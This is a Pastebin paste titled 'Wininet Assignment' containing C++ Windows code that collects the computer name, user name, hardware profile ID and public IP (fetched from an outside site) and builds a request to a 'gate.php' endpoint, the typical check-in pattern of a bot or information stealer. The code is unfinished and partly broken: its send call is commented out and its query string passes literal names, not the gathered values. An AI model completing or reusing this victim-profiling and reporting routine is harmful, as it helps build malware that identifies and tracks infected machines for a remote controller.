Advertisement
Guest User

Wininet Assignment

a guest
Jan 20th, 2015
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.90 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <string.h>
  4. #include <Wininet.h>
  5.  
  6. #define PAGE_NAME "gate.php"
  7.  
  8. #pragma comment (lib, "wininet")
  9.  
  10. void compName()
  11.     {
  12.     LPCSTR compName = getenv("COMPUTERNAME");
  13.     printf("Computer name is : %s\n",compName);
  14.    
  15.     }
  16.  
  17.  
  18. void userName()
  19. {
  20.     LPCSTR userName = getenv("USERNAME");
  21.     printf("UserName is : %s\n",userName);
  22.    
  23. }
  24.  
  25. void hWid()
  26. {
  27.     HW_PROFILE_INFO hwProfileInfo;
  28.     if(GetCurrentHwProfile(&hwProfileInfo))
  29.     {
  30.     LPCSTR hWid = hwProfileInfo.szHwProfileGuid;
  31.     printf("HWID: %s\n",hWid);
  32.     }
  33. }
  34.  
  35. void ip()
  36.     {
  37.       HINTERNET hInternet , hFile;
  38.       DWORD rSize;
  39.       char ip[50];
  40.       hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  41.       hFile = InternetOpenUrlA(hInternet,"http://housenaija.com/ip/ip.php",NULL,0,INTERNET_FLAG_RELOAD,0);
  42.       InternetReadFile(hFile,&ip,sizeof(ip),&rSize);
  43.       ip[rSize] ='\0';
  44.  
  45.       InternetCloseHandle(hFile);
  46.       InternetCloseHandle(hInternet);
  47.        
  48.      printf("IP adress : %s \n",ip);
  49.     }
  50.  
  51. void sendPCInfo()
  52.     {
  53.       char hWid[50];
  54.       char compName[50];
  55.       char userName[50];
  56.       char ip[50];
  57.      
  58.       HINTERNET hSession = InternetOpen("AppName",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  59.    
  60.       HINTERNET hConnect = InternetConnect(hSession,"localhost",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
  61.    
  62.       HINTERNET hRequest = HttpOpenRequest(hConnect,"GET","/pcinfo/gate.php?hWid=hWid&compName=compName&userName=userName&ip=ip",NULL,NULL,NULL,0,0);
  63.    
  64.       //HttpSendRequest(hRequest,NULL,0,data,strlen(data));
  65.    
  66.    
  67.         InternetCloseHandle(hRequest);
  68.             InternetCloseHandle(hConnect);
  69.                 InternetCloseHandle(hSession);
  70.  
  71.                 MessageBox(NULL,"PC Information Sent Successfully","Sent Info",MB_ICONINFORMATION | MB_OK);
  72.  
  73.     }
  74.  
  75.  
  76. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  77.     {
  78.     compName();
  79.     userName();
  80.     hWid();
  81.     ip();
  82.     sendPCInfo();
  83.     system("pause");
  84.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement